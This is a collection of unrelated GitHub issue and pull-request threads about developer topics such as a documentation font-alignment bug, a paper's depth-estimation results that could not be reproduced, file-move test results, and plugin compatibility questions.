If you check out the docs you can see the borders are misaligned. In my vscode it also appeared fine but for some reason in the docs it's weird.

@AnasGrzor  not able to see the screenshot you attached.
And also I don't see any misalignment in the doc as well
attaching a short clip
Screencast from 12-01-24 04:09:05 AM IST.webm

@amirk85

This is in chrome

Hello @AnasGrzor and @amirk85, thanks for helping Refine.
It's an interesting problem 🤔. I will investigate too.

Hey everyone, thank you for your interests and effort in this issue! I've suspected that this is happening due to fallbacks provided in the font family definition. I've checked in my local to update the tailwind.config.js like this for the JetBrains Mono:
"jetBrains-mono": [
                    "JetBrains Mono",
-                   ...defaultTheme.fontFamily.mono,
+                   "monospace"
                ],

The issue resolved for me.
Can anyone check if the same solution works for them as well? If its resolved, we'll be happy to see a PR addressing this change 🙏

I did the change but it's still the same

It is caused by font-family: Source Code Pro  @aliemir @BatuhanW @alicanerdurmaz
With Font :
SS for issue.

Reason for issue.

Without Font
Issue Fix If:

After removal of:  font-family: Source Code Pro :

Is the issue resolved? If not, I'm excited to work on resolving it.

@notnick2 Thanks 🚀, I assigned the issue to you.

@CodeKage25 Thanks, I assigned it to you.

@alicanerdurmaz Hey Alican, may I have a go at this?

Hey @domlimm let us know when you can work on this, let's assign to you.

@BatuhanW Hey Bathuan! I did some digging last week and just for an hour before writing this.. Seems okay on VSCode (but I suppose that's not the case/what we're trying to fix). However, I checked on prod and it seems slightly off. I'm on macOS, checked on Chrome.
VSCode:

Chrome:

Safari:

On Windows Chrome (both locally and prod):
Exactly what's shown in the opening of this issue.
I am actually struggling to find out the root cause. It's odd because it's a table in markdown.

There's a lot of hands working on this issue. If there is anything that I can do to help, please let me know.
Otherwise I'll continue to look for another issue to work on.
FWI worth, I am new to this repo.


If a customer is already logged in then at time of checkout "First Name", "Last Name" and "Email" field should be autofilled.

Framework Version: 0.1.6

Framework Version: 0.1.6

Fixed


Google Maps API pricing plan clarification

Issue description
Project docs does not mention which Google Maps pricing plan is used when using this service.
I need to understand the usage and plan pricing for my project, but unfortunately didn't find any info about which of Google Maps pricing plan this service is using.
Other information
Google Maps pricing plan link: https://cloud.google.com/maps-platform/pricing/sheet/
I guess that you're using the Dynamic Maps plan but I'm not sure: https://developers.google.com/maps/documentation/javascript/tutorial

After a bit of research I found that it's the Maps JavaScript API being used.


refactor the bar_chart method in grades_controller.rb

Sub-Issue of #2 for easier division of work, please see that issue for description.
This issue is focused on the bar_chart  method in the grades_cointroller.

Determined obsolete and removed.


Possible Bug

Hi, thank you for your well-structured code. I've noticed that each time it runs, it defaults to backing up the code from the current run to the experiment storage files, seemingly excluding the "outputs" folder. However, if I change exp_root_dir in the config file, say, to "exp_results", it causes a loop that stores the results in this folder, leading to an exponential increase in memory usage. Could you advise me on how I should modify the code?

Seems I can manually change .gitignore to avoid it.

@XinYu-Andy Yes the CodeSnapshotCallback saves all git-tracked files (except for load/). This could be a problem, I'll reopen this issue and mark it as "enhancement". Thanks for reporting!

Not sure if this bug has been addressed... can we close it?

Not yet and no elegant method has been thought of yet

Not sure if this bug has been addressed... can we close it?


After today's update, this code not work.

Seems to be still working for me, fully updated. If you open the browser DevTools Console (Usually F12 key) do you see any related errors?

对我来说似乎仍然有效，已完全更新。如果您打开浏览器 DevTools 控制台（通常为 F12 键），是否会看到任何相关错误？

Seems to be still working for me, fully updated. If you open the browser DevTools Console (Usually F12 key) do you see any related errors?

Import times for custom nodes:
0.0 seconds: F:\ComfyUI-aki-v1.1\custom_nodes\websocket_image_save.py
0.0 seconds: F:\ComfyUI-aki-v1.1\custom_nodes\sdxl_utility.py
0.0 seconds: F:\ComfyUI-aki-v1.1\custom_nodes\rgthree-comfy
Starting server
To see the GUI go to: http://<IP_ADDRESS>:8188
got prompt
model weight dtype torch.float16, manual cast: None
model_type EPS
Using xformers attention in VAE
Using xformers attention in VAE
Requested to load SD1ClipModel
Loading 1 new model
loaded completely 0.0<PHONE_NUMBER>8125 True
F:\ComfyUI-aki-v1.1\comfy\ldm\modules\attention.py:407: UserWarning: 1Torch was not compiled with flash attention. (Triggered internally at ..\aten\src\ATen\native\transformers\cuda\sdp_utils.cpp:455.)
out = torch.nn.functional.scaled_dot_product_attention(q, k, v, attn_mask=mask, dropout_p=0.0, is_causal=False)
Requested to load AutoencoderKL
Loading 1 new model
loaded completely 0.0<PHONE_NUMBER>2253418 True
Requested to load BaseModel
Loading 1 new model
loaded completely 0.0 1639.406135559082 True

Hmm.. I don't see anything too crazy. That app_mixlab file may be conflicting. Try removing the mixlab extension and see if that fixes it. If it does, then it could be a bug with mixlab.


performance on Stanford2D3D is worse than reported

I used the pretrained model ( https://drive.google.com/drive/folders/1b6mZJhF3j914AZ6TOGXrqgtGcHzHUAOc ) and do
$ CUDA_VISIBLE_DEVICES=0 python test.py
, which gave me
miniconda3/envs/omnifusion/lib/python3.7/site-packages/mmcv/__init__.py:21: UserWarning: On January 1, 2023, MMCV will release v2.0.0
, in which it will remove components related to the training process and add a data transformation module. In addition, it will rename the package names
 mmcv to mmcv-lite and mmcv-full to mmcv. See https://github.com/open-mmlab/mmcv/blob/master/docs/en/compatibility.md for more details.
  'On January 1, 2023, MMCV will release v2.0.0, in which it will remove '
## patch size: (256, 256)
## fov: 80
## Number of first model parameters: 42466730
0it [00:00, ?it/s]/home/localstorage/miniconda3/envs/omnifusion/lib/python3.7/site-packages/torch/nn/functional.py:3613: UserWarning: Default upsampling
 behavior when mode=bilinear is changed to align_corners=False since 0.4.0. Please specify align_corners=True if the old behavior is desired. See the do
cumentation of nn.Upsample for details.
  "See the documentation of nn.Upsample for details.".format(mode)
186it [04:29,  1.45s/it]
  Avg. Abs. Rel. Error: 0.0954
  Avg. Sq. Rel. Error: 0.0573
  Avg. Lin. RMS Error: 0.3718
  Avg. Log RMS Error: 0.1689
  Inlier D1: 0.8998
  Inlier D2: 0.9726
  Inlier D3: 0.9902

This is worse than the reported performance (Table 1 in the paper), which is,

Avg. Abs. Rel. Error (lower better): 0.0950
Avg. Sq. Rel. Error(lower better): 0.0491
Avg. Lin. RMS Error(lower better): 0.3474
Avg. Log RMS Error(lower better): 0.1599
Inlier D1(higher better): 0.8988
Inlier D2(higher better): 0.9769
Inlier D3(higher better): 0.9924

Am I missing anything? Did anybody else get the same issue?

Not only using the provided pretrained models, I also try training the model myself using train_erp_depth_iterative.py. The performance is even worse. This is what I get at its default settings.
  Avg. Abs. Rel. Error: 0.0981
  Avg. Sq. Rel. Error: 0.0596
  Avg. Lin. RMS Error: 0.3610
  Avg. Log RMS Error: 0.1688
  Inlier D1: 0.8930
  Inlier D2: 0.9706
  Inlier D3: 0.9906

After changing learning rate schedule, weight decay, and the number of epochs, the best I got so fat is this following.
  Avg. Abs. Rel. Error: 0.0943
  Avg. Sq. Rel. Error: 0.0563
  Avg. Lin. RMS Error: 0.3726
  Avg. Log RMS Error: 0.1694
  Inlier D1: 0.8937
  Inlier D2: 0.9675
  Inlier D3: 0.9911

But this is still worse than what is reported except  Avg. Abs. Rel. Error.

@apple2373 Did you need to change the spherical_fusion model parameters? I am trying to run the test for Stanford dataset using the pretrained model provided in the link(https://drive.google.com/drive/folders/1b6mZJhF3j914AZ6TOGXrqgtGcHzHUAOc) but am getting this error:

File "/home/ubuntu/OmniFusion/test.py", line 122, in
network.load_state_dict(ckpt)
File "/home/ubuntu/OmniFusion/omni-venv/lib/python3.9/site-packages/torch/nn/modules/module.py", line 1671, in load_state_dict
raise RuntimeError('Error(s) in loading state_dict for {}:\n\t{}'.format(
RuntimeError: Error(s) in loading state_dict for DataParallel:
size mismatch for module.down1.weight: copying a param with shape torch.Size([8, 512, 1, 1, 1]) from checkpoint, the shape in current model is torch.Size([32, 512, 1, 1, 1]).
size mismatch for module.down1.bias: copying a param with shape torch.Size([8]) from checkpoint, the shape in current model is torch.Size([32]).

yes, I describe it here: https://github.com/yuyanli0831/OmniFusion/issues/3

@apple2373 Thank you so much, that worked


Standalone Component separate from main executable

Hi @v-kiniv
One great benefit that this websocket server can have over a python based on is the ability to run it as a component node in the same process as other c++ nodes to help share memory for ROS messages. So to get the best benefits of using c++ over python, consider exposing the node as a component. See https://docs.ros.org/en/humble/Concepts/About-Composition.html

Good idea, I'll look into it.
Thanks.


fix: apply fraction digits formatting when the value doesn't have cents

Fixes #52

Yes that fixes it -- thanks so much!


Added an absolute version of the move file method of FileManager

Added targetPath as the resolved result of fileManager's moveFileWithin and moveFileInto methods
Noted that moveFileWithin might be dead code
Added a new moveFileAbsolute to support the Design Space export process
Updated asyncqueue so that as jobs complete, the underlying deferred is resolved with the return value
Updated asyncqueue so that as jobs error, the underlying deferred is rejected with that error

As a quick test, I hacked the FM to error on every ~5th file move operation, and these are the automation test results:
this branch:
SUMMARY:

19/39 tests passed

failed: 100-layers - 12 error(s)
   file A1.png missing from output
   file A21.png missing from output
   file A27.png missing from output
   file A3.png missing from output
   file A40.png missing from output
   file Rectangle 11.png missing from output
   file Rectangle 12.png missing from output
   file Rectangle 14.png missing from output
   file Rectangle 24.png missing from output
   file Rectangle 36.png missing from output
   file Rectangle 38.png missing from output
   file Rectangle 49.png missing from output
passed: 16bit-dither - 0.128 seconds
passed: 16bit-no-dither - 0.126 seconds
passed: adjustment-clipping - 0.379 seconds
passed: adjustment-layer-1 - 0.308 seconds
failed: adjustment-layer-2 - 1 error(s)
   file dot1group.png missing from output
failed: adjustment-layer-3 - 1 error(s)
   file hiddendot.png missing from output
failed: all-file-types - 1 error(s)
   file jpeg100.jpg missing from output
execution error: ancestor-mask: ENOENT, readdir '/var/folders/d3/yxwv5yn5715fk31lq36lnk780000gn/T/tmp-91955yaZtLN2l3pon/ancestor-mask-assets'
passed: ancestor-mask-enabled - 0.428 seconds
passed: artboards - 0.651 seconds
passed: assets-issue-244 - 0.321 seconds
failed: clipping - 1 error(s)
   file left_large.png missing from output
passed: color-space-conversion-default - 0.276 seconds
passed: color-space-conversion-off - 0.275 seconds
passed: color-space-conversion-on - 0.14 seconds
failed: default-test - 2 error(s)
   file<EMAIL_ADDRESS>missing from output
   file lo/vertical-tiny.gif missing from output
failed: embedded-illustrator-resize - 3 error(s)
   file 10xgroup.png missing from output
   file 10xsquare.png missing from output
   file 10xsquareeffect.png missing from output
passed: goodbye-world - 0.341 seconds
execution error: hello-world: ENOENT, readdir '/var/folders/d3/yxwv5yn5715fk31lq36lnk780000gn/T/tmp-91955qpjVIeH2Px0d/hello-world-assets'
execution error: interpolation-type: Did not get a valid document ID after opening the document
failed: layer-comps - 1 error(s)
   file Rectangle 3.png missing from output
failed: masks - 1 error(s)
   file 3.png missing from output
failed: png24a - 1 error(s)
   file transparent-png24a.png missing from output
passed: png8-convert - 0.644 seconds
passed: png8-pngquant - 0.594 seconds
failed: resize-with-effects - 5 error(s)
   file anotherbox.png missing from output
   file background-normal.png missing from output
   file background-third.png missing from output
   file box-normal.png missing from output
   file group-half.png missing from output
failed: rounded-rect-dumb-scaling - 2 error(s)
   file 2xrect.png missing from output
   file rect.png missing from output
passed: rounded-rect-scale - 0.259 seconds
passed: rounded-rect-smart-scaling - 0.44 seconds
passed: scaled-layer-effects - 1.61 seconds
failed: scaled-layer-effects-2 - 1 error(s)
   file square200.png missing from output
failed: smart-object-pixel-scaling - 1 error(s)
   file circle.png missing from output
failed: smart-object-resize - 1 error(s)
   file group-third.png missing from output
failed: smart-object-resize-2 - 2 error(s)
   file raster.png missing from output
   file shapewithfx.png missing from output
passed: webp-lossless - 5.563 seconds
passed: webp-lossy - 1.704 seconds
passed: whole-doc-mask - 0.44 seconds
failed: wildcards - 1 error(s)
   file width-wildcard.png missing from output

MASTER
SUMMARY:

22/39 tests passed

failed: 100-layers - 13 error(s)
   file A13.png missing from output
   file A2.png missing from output
   file A23.png missing from output
   file A24.png missing from output
   file A25.png missing from output
   file A34.png missing from output
   file A4.png missing from output
   file A48.png missing from output
   file A7.png missing from output
   file Rectangle 12.png missing from output
   file Rectangle 2.png missing from output
   file Rectangle 31.png missing from output
   file Rectangle 6.png missing from output
passed: 16bit-dither - 0.111 seconds
passed: 16bit-no-dither - 0.184 seconds
failed: adjustment-clipping - 1 error(s)
   file rect2.png missing from output
passed: adjustment-layer-1 - 0.287 seconds
execution error: adjustment-layer-2: Did not get a valid document ID after opening the document
failed: adjustment-layer-3 - 1 error(s)
   file dot1.png missing from output
passed: all-file-types - 1.036 seconds
passed: ancestor-mask - 0.229 seconds
passed: ancestor-mask-enabled - 0.425 seconds
passed: artboards - 0.689 seconds
passed: assets-issue-244 - 0.384 seconds
passed: clipping - 0.847 seconds
passed: color-space-conversion-default - 0.264 seconds
passed: color-space-conversion-off - 0.34 seconds
execution error: color-space-conversion-on: ENOENT, readdir '/var/folders/d3/yxwv5yn5715fk31lq36lnk780000gn/T/tmp-94767t9rEkFrqT54o/prophoto-color-space-assets'
failed: default-test - 2 error(s)
   file<EMAIL_ADDRESS>missing from output
   file lo/vertical.png missing from output
passed: embedded-illustrator-resize - 3.758 seconds
passed: goodbye-world - 0.345 seconds
passed: hello-world - 0.254 seconds
execution error: interpolation-type: ENOENT, readdir '/var/folders/d3/yxwv5yn5715fk31lq36lnk780000gn/T/tmp-947672p46edtQ60cU/interpolation-type-assets'
failed: layer-comps - 1 error(s)
   file Rectangle 2.png missing from output
failed: masks - 3 error(s)
   file<EMAIL_ADDRESS>missing from output
   file<EMAIL_ADDRESS>missing from output
   file 4.png missing from output
passed: png24a - 0.396 seconds
failed: png8-convert - 1 error(s)
   file png32.png missing from output
passed: png8-pngquant - 0.58 seconds
failed: resize-with-effects - 4 error(s)
   file anotherbox.png missing from output
   file background-double.png missing from output
   file background-half.png missing from output
   file group-double.png missing from output
failed: rounded-rect-dumb-scaling - 1 error(s)
   file rect.png missing from output
execution error: rounded-rect-scale: ENOENT, readdir '/var/folders/d3/yxwv5yn5715fk31lq36lnk780000gn/T/tmp-947673TgUa8biUMaU/rounded-rect-scale-assets'
passed: rounded-rect-smart-scaling - 0.513 seconds
failed: scaled-layer-effects - 1 error(s)
   file glow100.png missing from output
failed: scaled-layer-effects-2 - 1 error(s)
   file square200.png missing from output
passed: smart-object-pixel-scaling - 0.254 seconds
failed: smart-object-resize - 4 error(s)
   file background-double.png missing from output
   file group-double.png missing from output
   file group-normal.png missing from output
   file group-third.png missing from output
passed: smart-object-resize-2 - 2.846 seconds
passed: webp-lossless - 5.626 seconds
passed: webp-lossy - 1.674 seconds
passed: whole-doc-mask - 0.306 seconds
execution error: wildcards: Did not get a valid document ID after opening the document

Looks good to me. I think you can just go ahead and remove that unused function. It will just cause the next person more time to figure out that it's wrong.

I removed the code in question.  Do you mind pulling the trigger on this (merge it) unless you find any other concerns? @chrisbank

Looks good, merging


App doesn't check all commits

Pull Request: https://github.com/FIDATA/gradle-base-plugins/pull/54
Only one commit has conventional message.
However, Semantic Pull Request check is passed.
Is it intended behavior?
I expected that it would check each commit for conventional message.

Hi @grv87. Yep, that's intended behavior, but thanks for opening the issue anyway.
The goal of this bot is not to police commits, but to encourage gathering the minimum amount of semantic information needed to trigger a release. When using tools like semantic-release, a single semantic commit is all it takes, and it doesn't matter whether they're all semantic.
The projects using this bot (namely all repos in the @electron org) have a general practice of squashing commits into a single commit. In this scenario, NONE of the commits have to be semantic, as the PR title will become the commit message when squashed.
Does that clarify things? I'm open to ideas on how to make it more intuitive.

Yes, it does. Thank you!
Maybe this could be mentioned in documentation.


Chore lm enable merge neurons candid

Motivation
Enable merge neurons for HW controlled neurons
Changes

Support for merge neurons is in candid. Remove the redirection to the proto method.

Tests

Remove unnecessary test case.

@peterpeterparker @mstrasinskis  please review
This is the PR to enable merging neurons from HWs.
It was wrong to use proto because it was not supported and not used from nns-dapp.


Re-enable wasm compiling

In #1628 we remove the option of building with noir_wasm, since noir-source-resolver was causing issues when being imported simultaneously via esm (from a3-packages) and commonjs (from noir_wasm).
We should revisit this issue: make the necessary changes in both noir_wasm and noir-source-resolver (making sure we don't accidentally break other uses), ensure that the noir_wasm that corresponds to the aztec version is published consistently (the publishing job is failing at the time of this writing), and revert #1628. If this works, we should also make wasm the default choice for compiling, and remove nargo as a prerequisite from the compile guide.

Closing as duplicate of #2644


Grafana 9 and metrics plugin

Hi,
We are currently using Grafana 9.5.2, and OCI grafana metrics plugin versión 3.0.6. We have already tried an upgrade to plugin versión 4.0.1 with no success. I think is related to:
"Latest plugin version 4.X.X(available on Grafana Marketplace) is compatible with Grafana 8**."
Is 4.0.1 not compatible with grafana 9.xxx? If so, will the updated plugin be available in a near future for newer Grafana versions like 9.xxx?

Please upgrade to version 5.0.0 of the plugin, this newer version is compatible with Grafana 9.x


about access redis cluster

how can i use redis cluster with the project if i dont use proxy like twemproxy

Hi,
You might find the information you are looking for in #84.
Basically, there is no support for clusters in cpp_redis.
It is possible to use cpp_redis to call the Redis cluster control related functions (cluster_*), but there is no special handling for clusters themselves. It would be up to you to code a wrapper around cpp_redis to do what you are looking for.
There is apparently an increasing demand concerning cluster support, so I am more and more considering to provide such support in the future, but I lack time for now and I have no plans/deadlines for that.
Please let me know if you have any other questions,
Best!


Remove schema version

Coverage increased (+0.2%) to 91.848% when pulling 1b86ab621cc6043b847ff88766e0de2f35880239 on boguslavsky:remove-schema-version into 5e11410204df12d89d7653d3ba09403edcd2fae5 on exonum:master.